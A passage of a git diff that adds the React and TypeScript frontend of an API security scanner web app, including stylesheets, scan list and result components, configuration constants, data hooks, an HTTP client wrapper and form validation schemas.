+ padding: var(--spacing-sm) var(--spacing-md); + background: var(--glass-bg); + border: 1px solid var(--glass-border); + border-radius: var(--radius-md); +} + +.scans-list__header-cell { + font-size: var(--font-size-sm); + font-weight: var(--font-weight-semibold); + color: var(--color-text-secondary); + text-transform: uppercase; + letter-spacing: 0.05em; +} + +.scans-list__body { + display: flex; + flex-direction: column; + gap: var(--spacing-sm); +} + +.scans-list__row { + display: grid; + grid-template-columns: 2fr 1fr 1fr 1fr 1fr; + gap: var(--spacing-md); + padding: var(--spacing-md); + background: var(--glass-bg); + border: 1px solid var(--glass-border); + border-radius: var(--radius-md); + transition: all var(--transition-base); +} + +.scans-list__row:hover { + background: var(--glass-bg-hover); + border-color: var(--glass-border-hover); +} + +.scans-list__cell { + display: flex; + align-items: center; + font-size: var(--font-size-sm); + color: var(--color-text-primary); +} + +.scans-list__url { + color: var(--color-text-primary); + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.scans-list__vuln-badge { + padding: 0.25rem 0.75rem; + border-radius: var(--radius-sm); + font-weight: var(--font-weight-semibold); + font-size: var(--font-size-xs); +} + +.scans-list__vuln-badge--danger { + background: var(--color-danger); + color: white; +} + +.scans-list__vuln-badge--safe { + background: var(--color-success); + color: white; +} + +.scans-list__view-link { + color: var(--color-accent-primary); + text-decoration: none; + font-weight: var(--font-weight-medium); + transition: color var(--transition-fast); +} + +.scans-list__view-link:hover { + color: var(--color-accent-hover); +} + +.scans-list__view-link:focus-visible { + outline: 2px solid var(--color-accent-primary); + outline-offset: 2px; + border-radius: var(--radius-sm); +} + +@media (width <= 968px) { + .scans-list__header, + .scans-list__row { + grid-template-columns: 1fr; + } + + .scans-list__header { + display: none; + } + + .scans-list__cell { + justify-content: space-between; + } + + .scans-list__cell::before { + content: attr(data-label); + font-weight: var(--font-weight-semibold); + color: var(--color-text-secondary); + } +} diff --git a/PROJECTS/api-security-scanner/frontend/src/components/scan/ScansList.tsx b/PROJECTS/api-security-scanner/frontend/src/components/scan/ScansList.tsx new file mode 100644 index 00000000..3129fda7 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/scan/ScansList.tsx @@ -0,0 +1,102 @@ +// =========================== +// ScansList.tsx +// ©AngelaMos | 2025 +// =========================== + +import { Link } from 'react-router-dom'; +import { GiMagnifyingGlass } from 'react-icons/gi'; +import { useGetScans } from '@/hooks/useScan'; +import { formatDate } from '@/lib/utils'; +import './ScansList.css'; + +export const ScansList = (): React.ReactElement => { + const { data: scans, isLoading, error } = useGetScans(); + + if (isLoading) { + return ( +
+

Loading scans...

+
+ ); + } + + if (error !== null && error !== undefined) { + return ( +
+

Failed to load scans. Please try again.

+
+ ); + } + + if ( + scans === null || + scans === undefined || + !Array.isArray(scans) || + scans.length === 0 + ) { + return ( +
+ +

No Scans Yet

+

+ Get started by running your first security scan above +

+
+ ); + } + + return ( +
+
+
+
Target URL
+
Date
+
Tests
+
Vulnerabilities
+
Actions
+
+ +
+ {scans.map((scan) => { + const vulnerableCount = scan.test_results.filter( + (r) => r.status === 'vulnerable', + ).length; + + const scanDate = formatDate(scan.scan_date); + + return ( +
+
+ {scan.target_url} +
+
{scanDate}
+
+ {scan.test_results.length} +
+
+ 0 + ? 'scans-list__vuln-badge--danger' + : 'scans-list__vuln-badge--safe' + }`} + > + {vulnerableCount} + +
+
+ + View Results + +
+
+ ); + })} +
+
+
+ ); +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/components/scan/TestResultCard.css b/PROJECTS/api-security-scanner/frontend/src/components/scan/TestResultCard.css new file mode 100644 index 00000000..a9bfea82 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/scan/TestResultCard.css @@ -0,0 +1,137 @@ +.test-result-card { + background: var(--glass-bg); + border: 1px solid var(--glass-border); + border-radius: var(--radius-lg); + padding: var(--spacing-lg); + transition: all var(--transition-base); +} + +.test-result-card:hover { + border-color: var(--glass-border-hover); +} + +.test-result-card__header { + margin-bottom: var(--spacing-md); +} + +.test-result-card__title-section { + display: flex; + align-items: center; + justify-content: space-between; + gap: var(--spacing-md); + flex-wrap: wrap; +} + +.test-result-card__title { + font-size: var(--font-size-xl); + font-weight: var(--font-weight-semibold); + color: var(--color-text-primary); + margin: 0; +} + +.test-result-card__badges { + display: flex; + gap: var(--spacing-xs); +} + +.test-result-card__badge { + padding: 0.25rem 0.75rem; + border-radius: var(--radius-sm); + font-size: var(--font-size-xs); + font-weight: var(--font-weight-semibold); + text-transform: uppercase; + letter-spacing: 0.05em; + color: white; +} + +.test-result-card__content { + display: flex; + flex-direction: column; + gap: var(--spacing-md); +} + +.test-result-card__section { + display: flex; + flex-direction: column; + gap: var(--spacing-sm); +} + +.test-result-card__section-title { + font-size: var(--font-size-sm); + font-weight: var(--font-weight-semibold); + color: var(--color-text-secondary); + text-transform: uppercase; + letter-spacing: 0.05em; + margin: 0; +} + +.test-result-card__details { + font-size: var(--font-size-base); + color: var(--color-text-primary); + line-height: 1.6; + margin: 0; +} + +.test-result-card__recommendations { + list-style: none; + padding: 0; + margin: 0; + display: flex; + flex-direction: column; + gap: var(--spacing-xs); +} + +.test-result-card__recommendation { + padding: var(--spacing-sm); + background: var(--glass-bg); + border-left: 3px solid var(--color-accent-primary); + border-radius: var(--radius-sm); + font-size: var(--font-size-sm); + color: var(--color-text-primary); + line-height: 1.5; +} + +.test-result-card__evidence-toggle { + background: none; + border: none; + padding: var(--spacing-sm); + color: var(--color-accent-primary); + font-size: var(--font-size-sm); + font-weight: var(--font-weight-medium); + cursor: pointer; + text-align: left; + transition: color var(--transition-fast); + border-radius: var(--radius-sm); +} + +.test-result-card__evidence-toggle:hover { + color: var(--color-accent-hover); +} + +.test-result-card__evidence-toggle:focus-visible { + outline: 2px solid var(--color-accent-primary); + outline-offset: 2px; +} + +.test-result-card__evidence { + background: var(--color-bg-primary); + border: 1px solid var(--glass-border); + border-radius: var(--radius-md); + padding: var(--spacing-md); + font-size: var(--font-size-sm); + color: var(--color-text-primary); + line-height: 1.5; + overflow-x: auto; + margin: 0; +} + +@media (width <= 768px) { + .test-result-card { + padding: var(--spacing-md); + } + + .test-result-card__title-section { + flex-direction: column; + align-items: flex-start; + } +} diff --git a/PROJECTS/api-security-scanner/frontend/src/components/scan/TestResultCard.tsx b/PROJECTS/api-security-scanner/frontend/src/components/scan/TestResultCard.tsx new file mode 100644 index 00000000..a6f0256e --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/scan/TestResultCard.tsx @@ -0,0 +1,95 @@ +// =========================== +// TestResultCard.tsx +// ©AngelaMos | 2025 +// =========================== + +import { useUIStore } from '@/store/uiStore'; +import type { TestResult } from '@/types/scan.types'; +import { + TEST_TYPE_LABELS, + SEVERITY_COLORS, + STATUS_COLORS, +} from '@/config/constants'; +import './TestResultCard.css'; + +interface TestResultCardProps { + result: TestResult; +} + +export const TestResultCard = ({ + result, +}: TestResultCardProps): React.ReactElement => { + const showEvidence = useUIStore( + (state) => state.testResults.expandedTests[result.id] ?? false, + ); + const toggleTestExpanded = useUIStore((state) => state.toggleTestExpanded); + + const statusColor = STATUS_COLORS[result.status]; + const severityColor = SEVERITY_COLORS[result.severity]; + + return ( +
+
+
+

+ {TEST_TYPE_LABELS[result.test_name]} +

+
+ + {result.status.toUpperCase()} + + + {result.severity.toUpperCase()} + +
+
+
+ +
+
+

Details

+

{result.details}

+
+ + {result.recommendations_json.length > 0 ? ( +
+

Recommendations

+
    + {result.recommendations_json.map((rec) => ( +
  • + {rec} +
    • + ))} +
+
+ ) : null} + + {Object.keys(result.evidence_json).length > 0 ? ( +
+ + {showEvidence ? ( + 
+                {JSON.stringify(result.evidence_json, null, 2)}
+
+ ) : null} +
+ ) : null} +
+
+ ); +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/config/constants.ts b/PROJECTS/api-security-scanner/frontend/src/config/constants.ts new file mode 100644 index 00000000..4ae5503b --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/config/constants.ts @@ -0,0 +1,155 @@ +/** + * ©AngelaMos | 2025 + * All hardcoded values, API endpoints, and configuration constants + */ + +/** + * API Configuration + */ +export const API_BASE_URL = + import.meta.env.VITE_API_URL !== undefined && + import.meta.env.VITE_API_URL !== null && + import.meta.env.VITE_API_URL !== '' + ? import.meta.env.VITE_API_URL + : '/api'; + +/** + * Auth API Endpoints + */ +export const AUTH_ENDPOINTS = { + REGISTER: '/auth/register', + LOGIN: '/auth/login', +} as const; + +export type AuthEndpoint = (typeof AUTH_ENDPOINTS)[keyof typeof AUTH_ENDPOINTS]; + +/** + * Auth Error Messages + */ +export const AUTH_ERROR_MESSAGES = { + INVALID_LOGIN_RESPONSE: 'Invalid login response from server', + INVALID_REGISTER_RESPONSE: 'Invalid register response from server', + LOGIN_FAILED: 'Failed to login', + REGISTER_FAILED: 'Failed to register', + LOGOUT_FAILED: 'Failed to logout', +} as const; + +export type AuthErrorMessage = + (typeof AUTH_ERROR_MESSAGES)[keyof typeof AUTH_ERROR_MESSAGES]; + +export const AUTH_ERROR_CONTEXTS = { + LOGIN: 'auth.login', + REGISTER: 'auth.register', + LOGOUT: 'auth.logout', +} as const; + +export type AuthErrorContext = + (typeof AUTH_ERROR_CONTEXTS)[keyof typeof AUTH_ERROR_CONTEXTS]; + +/** + * LocalStorage Keys + */ +export const STORAGE_KEYS = { + AUTH_TOKEN: 'auth_token', + USER: 'user', +} as const; + +/** + * Application Constants + */ +export const APP_NAME = 'API Security Scanner'; +export const APP_VERSION = '1.0.0'; + +/** + * Scan Test Types + */ +export const SCAN_TEST_TYPES = { + RATE_LIMIT: 'rate_limit', + AUTH: 'auth', + SQLI: 'sqli', + IDOR: 'idor', +} as const; + +export type ScanTestType = + (typeof SCAN_TEST_TYPES)[keyof typeof SCAN_TEST_TYPES]; + +export const TEST_TYPE_LABELS: Record = { + [SCAN_TEST_TYPES.RATE_LIMIT]: 'Rate Limiting', + [SCAN_TEST_TYPES.AUTH]: 'Authentication', + [SCAN_TEST_TYPES.SQLI]: 'SQL Injection', + [SCAN_TEST_TYPES.IDOR]: 'IDOR/BOLA', +}; + +/** + * Test Result Status + */ +export const SCAN_STATUS = { + VULNERABLE: 'vulnerable', + SAFE: 'safe', + ERROR: 'error', +} as const; + +export type ScanStatus = (typeof SCAN_STATUS)[keyof typeof SCAN_STATUS]; + +export const STATUS_COLORS: Record = { + [SCAN_STATUS.VULNERABLE]: '#dc2626', + [SCAN_STATUS.SAFE]: '#16a34a', + [SCAN_STATUS.ERROR]: '#6b7280', +}; + +/** + * Severity Levels + */ +export const SEVERITY = { + CRITICAL: 'critical', + HIGH: 'high', + MEDIUM: 'medium', + LOW: 'low', + INFO: 'info', +} as const; + +export type Severity = (typeof SEVERITY)[keyof typeof SEVERITY]; + +export const SEVERITY_COLORS: Record = { + [SEVERITY.CRITICAL]: '#dc2626', + [SEVERITY.HIGH]: '#ea580c', + [SEVERITY.MEDIUM]: '#f59e0b', + [SEVERITY.LOW]: '#3b82f6', + [SEVERITY.INFO]: '#6b7280', +}; + +/** + * Scan API Endpoints + */ +export const SCAN_ENDPOINTS = { + CREATE: '/scans/', + LIST: '/scans/', + GET: (id: number) => `/scans/${id.toString()}`, + DELETE: (id: number) => `/scans/${id.toString()}`, +} as const; + +/** + * Scan Error Messages + */ +export const SCAN_ERROR_MESSAGES = { + INVALID_CREATE_SCAN_RESPONSE: 'Invalid create scan response from server', + INVALID_GET_SCANS_RESPONSE: 'Invalid get scans response from server', + INVALID_GET_SCAN_RESPONSE: 'Invalid get scan response from server', + CREATE_SCAN_FAILED: 'Failed to create scan', + GET_SCANS_FAILED: 'Failed to fetch scans', + GET_SCAN_FAILED: 'Failed to fetch scan details', + DELETE_SCAN_FAILED: 'Failed to delete scan', +} as const; + +export type ScanErrorMessage = + (typeof SCAN_ERROR_MESSAGES)[keyof typeof SCAN_ERROR_MESSAGES]; + +export const SCAN_ERROR_CONTEXTS = { + CREATE_SCAN: 'scan.createScan', + GET_SCANS: 'scan.getScans', + GET_SCAN: 'scan.getScan', + DELETE_SCAN: 'scan.deleteScan', +} as const; + +export type ScanErrorContext = + (typeof SCAN_ERROR_CONTEXTS)[keyof typeof SCAN_ERROR_CONTEXTS]; diff --git a/PROJECTS/api-security-scanner/frontend/src/hooks/useAuth.ts b/PROJECTS/api-security-scanner/frontend/src/hooks/useAuth.ts new file mode 100644 index 00000000..ca9ce514 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/hooks/useAuth.ts @@ -0,0 +1,114 @@ +// =========================== +// useAuth.ts +// ©AngelaMos | 2025 +// =========================== + +import { + useMutation, + type UseMutationResult, +} from '@tanstack/react-query'; +import { isAxiosError, type AxiosError } from 'axios'; +import { toast } from 'sonner'; +import { useNavigate } from 'react-router-dom'; +import { authMutations } from '@/services/authService'; +import { + isValidLoginResponse, + isValidRegisterResponse, +} from '@/types/guards'; +import type { + LoginRequest, + LoginResponse, + RegisterRequest, + RegisterResponse, +} from '@/types/auth.types'; +import { + AUTH_ERROR_MESSAGES, + AUTH_ERROR_CONTEXTS, +} from '@/config/constants'; +import { useAuthStore } from '@/store/authStore'; + +const createAuthErrorHandler = (context: string) => { + return (error: unknown): void => { + if (isAxiosError(error) && error.response?.data !== null && error.response?.data !== undefined) { + const errorData: unknown = error.response.data; + + if (typeof errorData === 'object' && errorData !== null && 'detail' in errorData) { + const apiError = errorData as { detail: unknown }; + if (typeof apiError.detail === 'string' && apiError.detail.length > 0) { + toast.error(apiError.detail); + return; + } + } + } + + const fallbackMessage = + error instanceof Error ? error.message : `${context} failed`; + toast.error(fallbackMessage); + }; +}; + +export const useRegister = (): UseMutationResult< + RegisterResponse, + AxiosError, + RegisterRequest +> => { + const navigate = useNavigate(); + + return useMutation({ + mutationFn: async (data: RegisterRequest): Promise => { + const response = await authMutations.register(data); + if (!isValidRegisterResponse(response)) { + throw new Error(AUTH_ERROR_MESSAGES.INVALID_REGISTER_RESPONSE); + } + return response; + }, + onSuccess: (_data: RegisterResponse): void => { + toast.success('Account created! Please login.'); + void navigate('/login'); + }, + onError: createAuthErrorHandler(AUTH_ERROR_CONTEXTS.REGISTER), + }); +}; + +export const useLogin = (): UseMutationResult< + LoginResponse, + AxiosError, + LoginRequest +> => { + const navigate = useNavigate(); + const { setAuth } = useAuthStore(); + + return useMutation({ + mutationFn: async (data: LoginRequest): Promise => { + const response = await authMutations.login(data); + if (!isValidLoginResponse(response)) { + throw new Error(AUTH_ERROR_MESSAGES.INVALID_LOGIN_RESPONSE); + } + return response; + }, + onSuccess: (data: LoginResponse, variables: LoginRequest): void => { + const user = { + id: 0, + email: variables.email, + is_active: true, + created_at: new Date().toISOString(), + }; + + setAuth(user, data.access_token); + toast.success('Login successful!'); + void navigate('/'); + }, + onError: createAuthErrorHandler(AUTH_ERROR_CONTEXTS.LOGIN), + }); +}; + +export const useLogout = (): (() => void) => { + const navigate = useNavigate(); + const { clearAuth } = useAuthStore(); + + return (): void => { + clearAuth(); + toast.success('Logged out successfully'); + void navigate('/login'); + }; +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/hooks/useScan.ts b/PROJECTS/api-security-scanner/frontend/src/hooks/useScan.ts new file mode 100644 index 00000000..d57057da --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/hooks/useScan.ts @@ -0,0 +1,124 @@ +// =========================== +// useScan.ts +// ©AngelaMos | 2025 +// =========================== + +import { + useQuery, + useMutation, + useQueryClient, + type UseQueryResult, + type UseMutationResult, +} from '@tanstack/react-query'; +import { type AxiosError } from 'axios'; +import { toast } from 'sonner'; +import { useNavigate } from 'react-router-dom'; +import { + scanQueryKeys, + scanQueries, + scanMutations, +} from '@/services/scanService'; +import { + isValidGetScansResponse, + isValidGetScanResponse, + isValidCreateScanResponse, +} from '@/types/guards'; +import type { + GetScansResponse, + GetScanResponse, + CreateScanRequest, + CreateScanResponse, +} from '@/types/scan.types'; +import { + SCAN_ERROR_MESSAGES, + SCAN_ERROR_CONTEXTS, +} from '@/config/constants'; +import { createApiErrorHandler } from '@/lib/errors'; + +export const useGetScans = (): UseQueryResult< + GetScansResponse, + AxiosError +> => { + return useQuery({ + queryKey: scanQueryKeys.list(), + queryFn: async (): Promise => { + const response = await scanQueries.getScans(); + if (!isValidGetScansResponse(response)) { + throw new Error(SCAN_ERROR_MESSAGES.INVALID_GET_SCANS_RESPONSE); + } + return response; + }, + staleTime: 1000 * 60 * 5, + gcTime: 1000 * 60 * 10, + }); +}; + +export const useGetScan = ( + id: number, +): UseQueryResult => { + return useQuery({ + queryKey: scanQueryKeys.detail(id), + queryFn: async (): Promise => { + const response = await scanQueries.getScan(id); + if (!isValidGetScanResponse(response)) { + throw new Error(SCAN_ERROR_MESSAGES.INVALID_GET_SCAN_RESPONSE); + } + return response; + }, + staleTime: 1000 * 60 * 5, + gcTime: 1000 * 60 * 10, + }); +}; + +export const useCreateScan = (): UseMutationResult< + CreateScanResponse, + AxiosError, + CreateScanRequest +> => { + const queryClient = useQueryClient(); + const navigate = useNavigate(); + + return useMutation({ + mutationFn: async ( + data: CreateScanRequest, + ): Promise => { + const response = await scanMutations.createScan(data); + if (!isValidCreateScanResponse(response)) { + throw new Error(SCAN_ERROR_MESSAGES.INVALID_CREATE_SCAN_RESPONSE); + } + return response; + }, + onSuccess: (data: CreateScanResponse): void => { + void queryClient.invalidateQueries({ + queryKey: scanQueryKeys.lists(), + }); + + toast.success('Scan completed successfully!'); + void navigate(`/scans/${data.id.toString()}`); + }, + onError: createApiErrorHandler(SCAN_ERROR_CONTEXTS.CREATE_SCAN), + }); +}; + +export const useDeleteScan = (): UseMutationResult< + undefined, + AxiosError, + number +> => { + const queryClient = useQueryClient(); + + return useMutation({ + mutationFn: async (id: number): Promise => { + await scanMutations.deleteScan(id); + return undefined; + }, + onSuccess: (): void => { + void queryClient.invalidateQueries({ + queryKey: scanQueryKeys.lists(), + }); + + toast.success('Scan deleted successfully!'); + }, + onError: createApiErrorHandler(SCAN_ERROR_CONTEXTS.DELETE_SCAN), + }); +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/lib/api.ts b/PROJECTS/api-security-scanner/frontend/src/lib/api.ts new file mode 100644 index 00000000..6ac0f667 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/lib/api.ts @@ -0,0 +1,81 @@ +/** + * ©AngelaMos | 2025 + * Axios instance with request/response interceptors + */ + +import axios, { type AxiosError, type AxiosResponse } from 'axios'; +import { API_BASE_URL, STORAGE_KEYS } from '@/config/constants'; + +/** + * Axios Base Config + */ +const axiosInstance = axios.create({ + baseURL: API_BASE_URL, + timeout: 180000, + headers: { + 'Content-Type': 'application/json', + }, +}); + +/** + * Request interceptor + */ +axiosInstance.interceptors.request.use( + (config) => { + const token = localStorage.getItem(STORAGE_KEYS.AUTH_TOKEN); + if (token) { + config.headers.Authorization = `Bearer ${token}`; + } + return config; + }, + (error: AxiosError) => { + return Promise.reject(error); + }, +); + +/** + * Response interceptor + */ +axiosInstance.interceptors.response.use( + (response: AxiosResponse) => { + return response; + }, + (error: AxiosError) => { + if (error.response?.status === 401) { + const requestUrl = error.config?.url ?? ''; + const isAuthEndpoint = requestUrl.includes('/auth/login') || requestUrl.includes('/auth/register'); + + if (!isAuthEndpoint) { + localStorage.removeItem(STORAGE_KEYS.AUTH_TOKEN); + localStorage.removeItem(STORAGE_KEYS.USER); + window.location.href = '/login'; + } + } + return Promise.reject(error); + }, +); + +/** + * API wrapper + */ +export const api = { + get: async (url: string): Promise => { + const response = await axiosInstance.get(url); + return response.data; + }, + + post: async (url: string, data?: unknown): Promise => { + const response = await axiosInstance.post(url, data); + return response.data; + }, + + put: async (url: string, data?: unknown): Promise => { + const response = await axiosInstance.put(url, data); + return response.data; + }, + + delete: async (url: string): Promise => { + const response = await axiosInstance.delete(url); + return response.data; + }, +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/lib/errors.ts b/PROJECTS/api-security-scanner/frontend/src/lib/errors.ts new file mode 100644 index 00000000..6d6ddc00 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/lib/errors.ts @@ -0,0 +1,30 @@ +// =========================== +// errors.ts +// ©AngelaMos | 2025 +// =========================== + +import { isAxiosError } from 'axios'; +import { toast } from 'sonner'; + +export const createApiErrorHandler = (context: string) => { + return (error: unknown): void => { + if (isAxiosError(error) && error.response?.data !== null && error.response?.data !== undefined) { + const errorData: unknown = error.response.data; + + if ( + typeof errorData === 'object' && + errorData !== null && + 'detail' in errorData && + typeof errorData.detail === 'string' && + errorData.detail.length > 0 + ) { + toast.error(errorData.detail); + return; + } + } + + const fallbackMessage = + error instanceof Error ? error.message : `Operation failed: ${context}`; + toast.error(fallbackMessage); + }; +}; diff --git a/api-security-scanner/frontend/src/lib/queryClient.ts b/PROJECTS/api-security-scanner/frontend/src/lib/queryClient.ts similarity index 100% rename from api-security-scanner/frontend/src/lib/queryClient.ts rename to PROJECTS/api-security-scanner/frontend/src/lib/queryClient.ts diff --git a/PROJECTS/api-security-scanner/frontend/src/lib/utils.ts b/PROJECTS/api-security-scanner/frontend/src/lib/utils.ts new file mode 100644 index 00000000..66a91b54 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/lib/utils.ts @@ -0,0 +1,40 @@ +// =========================== +// utils.ts +// ©AngelaMos | 2025 +// =========================== + +export const formatDate = (dateString: string): string => { + const date = new Date(dateString); + return date.toLocaleDateString('en-US', { + month: 'short', + day: 'numeric', + year: 'numeric', + }); +}; + +export const formatDateTime = (dateString: string): string => { + const date = new Date(dateString); + return date.toLocaleString('en-US', { + month: 'short', + day: 'numeric', + year: 'numeric', + hour: 'numeric', + minute: '2-digit', + }); +}; + +export const formatRelativeTime = (dateString: string): string => { + const date = new Date(dateString); + const now = new Date(); + const diffMs = now.getTime() - date.getTime(); + const diffMins = Math.floor(diffMs / 60000); + const diffHours = Math.floor(diffMs / 3600000); + const diffDays = Math.floor(diffMs / 86400000); + + if (diffMins < 1) return 'just now'; + if (diffMins < 60) return `${diffMins.toString()}m ago`; + if (diffHours < 24) return `${diffHours.toString()}h ago`; + if (diffDays < 7) return `${diffDays.toString()}d ago`; + + return formatDate(dateString); +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/lib/validation.ts b/PROJECTS/api-security-scanner/frontend/src/lib/validation.ts new file mode 100644 index 00000000..318e4f6e --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/lib/validation.ts @@ -0,0 +1,54 @@ +// =========================== +// ©AngelaMos | 2025 +// Zod Validation Schemas +// =========================== + +import { z } from 'zod'; + +export const loginSchema = z.object({ + email: z + .email('Invalid email format') + .min(1, 'Email is required') + .max(255, 'Email too long'), + password: z.string().min(1, 'Password is required'), +}); + +export const registerSchema = z + .object({ + email: z + .email('Invalid email format') + .min(1, 'Email is required') + .max(255, 'Email too long'), + password: z + .string() + .min(8, 'Password must be at least 8 characters') + .max(100, 'Password must be less than 100 characters') + .regex(/[A-Z]/, 'Password must contain at least one uppercase letter') + .regex(/[a-z]/, 'Password must contain at least one lowercase letter') + .regex(/[0-9]/, 'Password must contain at least one number'), + confirmPassword: z.string().min(1, 'Please confirm your password'), + }) + .refine((data) => data.password === data.confirmPassword, { + message: 'Passwords do not match', + path: ['confirmPassword'], + }); + +export const scanSchema = z.object({ + targetUrl: z + .url('Invalid URL format') + .min(1, 'Target URL is required') + .max(2048, 'URL too long'), + authToken: z.string().max(1000, 'Token too long').optional(), + testsToRun: z + .array(z.enum(['rate_limit', 'auth', 'sqli', 'idor'])) + .min(1, 'Select at least one test'), + maxRequests: z + .number() + .int('Must be a whole number') + .min(1, 'Must be at least 1') + .max(50, 'Maximum 50 requests allowed'), +}); + +export type LoginFormData = z.infer; +export type RegisterFormData = z.infer; +export type ScanFormData = z.infer; diff --git a/api-security-scanner/frontend/src/main.tsx b/PROJECTS/api-security-scanner/frontend/src/main.tsx similarity index 81% rename from api-security-scanner/frontend/src/main.tsx rename to PROJECTS/api-security-scanner/frontend/src/main.tsx index 050e345b..225717c8 100644 --- a/api-security-scanner/frontend/src/main.tsx +++ b/PROJECTS/api-security-scanner/frontend/src/main.tsx @@ -6,6 +6,8 @@ import { StrictMode } from 'react'; import { createRoot } from 'react-dom/client'; import App from './App.tsx'; +import './styles/variables.css'; +import './styles/index.css'; createRoot(document.getElementById('root')!).render( diff --git a/PROJECTS/api-security-scanner/frontend/src/pages/AuthPage.css b/PROJECTS/api-security-scanner/frontend/src/pages/AuthPage.css new file mode 100644 index 00000000..a6e0d9d5 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/pages/AuthPage.css @@ -0,0 +1,20 @@ +/** + * ©AngelaMos | 2025 + * Auth page styles + */ + +.auth-page { + display: flex; + align-items: center; + justify-content: center; + min-height: 100vh; + background: linear-gradient(135deg, #0f172a 0%, #1e293b 100%); + padding: 20px; +} + +.auth-page__container { + display: flex; + align-items: center; + justify-content: center; + width: 100%; +} diff --git a/PROJECTS/api-security-scanner/frontend/src/pages/DashboardPage.css b/PROJECTS/api-security-scanner/frontend/src/pages/DashboardPage.css new file mode 100644 index 00000000..2e55fd0b --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/pages/DashboardPage.css @@ -0,0 +1,97 @@ +.dashboard { + min-height: 100vh; + background: linear-gradient(135deg, var(--color-bg-primary) 0%, var(--color-bg-secondary) 100%); + padding: var(--spacing-lg); +} + +.dashboard__container { + max-width: 1200px; + margin: 0 auto; +} + +.dashboard__header { + margin-bottom: var(--spacing-xl); +} + +.dashboard__header-content { + display: flex; + justify-content: space-between; + align-items: center; + gap: var(--spacing-lg); +} + +.dashboard__header-text { + flex: 1; +} + +.dashboard__title { + font-size: var(--font-size-4xl); + font-weight: var(--font-weight-bold); + color: var(--color-text-primary); + margin: 0 0 var(--spacing-xs) 0; + letter-spacing: -0.02em; +} + +.dashboard__subtitle { + font-size: var(--font-size-lg); + color: var(--color-text-secondary); + margin: 0; +} + +.dashboard__header-actions { + display: flex; + align-items: center; + gap: var(--spacing-md); +} + +.dashboard__user-email { + font-size: var(--font-size-sm); + color: var(--color-text-secondary); + font-weight: var(--font-weight-medium); +} + +.dashboard__content { + display: flex; + flex-direction: column; + gap: var(--spacing-lg); +} + +.dashboard__section { + background: var(--glass-bg); + backdrop-filter: blur(10px); + border: 1px solid var(--glass-border); + border-radius: var(--radius-lg); + padding: var(--spacing-lg); +} + +.dashboard__section-title { + font-size: var(--font-size-2xl); + font-weight: var(--font-weight-semibold); + color: var(--color-text-primary); + margin: 0 0 var(--spacing-md) 0; + letter-spacing: -0.01em; +} + +@media (width <= 768px) { + .dashboard { + padding: var(--spacing-sm); + } + + .dashboard__header-content { + flex-direction: column; + align-items: flex-start; + } + + .dashboard__title { + font-size: var(--font-size-3xl); + } + + .dashboard__header-actions { + width: 100%; + justify-content: space-between; + } + + .dashboard__section { + padding: var(--spacing-md); + } +} diff --git a/PROJECTS/api-security-scanner/frontend/src/pages/DashboardPage.tsx b/PROJECTS/api-security-scanner/frontend/src/pages/DashboardPage.tsx new file mode 100644 index 00000000..38acf18a --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/pages/DashboardPage.tsx @@ -0,0 +1,57 @@ +// =========================== +// DashboardPage.tsx +// ©AngelaMos | 2025 +// =========================== + +import { useNavigate } from 'react-router-dom'; +import { NewScanForm } from '@/components/scan/NewScanForm'; +import { ScansList } from '@/components/scan/ScansList'; +import { Button } from '@/components/common/Button'; +import { useAuthStore } from '@/store/authStore'; +import './DashboardPage.css'; + +export const DashboardPage = (): React.ReactElement => { + const navigate = useNavigate(); + const clearAuth = useAuthStore((state) => state.clearAuth); + const user = useAuthStore((state) => state.user); + + const handleLogout = (): void => { + clearAuth(); + void navigate('/login'); + }; + + return ( +
+
+
+
+
+

API Security Scanner

+

+ Test your APIs for security vulnerabilities +

+
+
+ {user?.email} + +
+
+
+ +
+
+

New Scan

+ +
+ +
+

Recent Scans

+ +
+
+
+
+ ); +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/pages/LoginPage.tsx b/PROJECTS/api-security-scanner/frontend/src/pages/LoginPage.tsx new file mode 100644 index 00000000..474d01de --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/pages/LoginPage.tsx @@ -0,0 +1,17 @@ +// =========================== +// LoginPage.tsx +// ©AngelaMos | 2025 +// =========================== + +import { LoginForm } from '@/components/auth/LoginForm'; +import './AuthPage.css'; + +export const LoginPage = (): React.ReactElement => { + return ( +
+
+ +
+
+ ); +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/pages/RegisterPage.tsx b/PROJECTS/api-security-scanner/frontend/src/pages/RegisterPage.tsx new file mode 100644 index 00000000..e494bd62 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/pages/RegisterPage.tsx @@ -0,0 +1,17 @@ +// =========================== +// RegisterPage.tsx +// ©AngelaMos | 2025 +// =========================== + +import { RegisterForm } from '@/components/auth/RegisterForm'; +import './AuthPage.css'; + +export const RegisterPage = (): React.ReactElement => { + return ( +
+
+ +
+
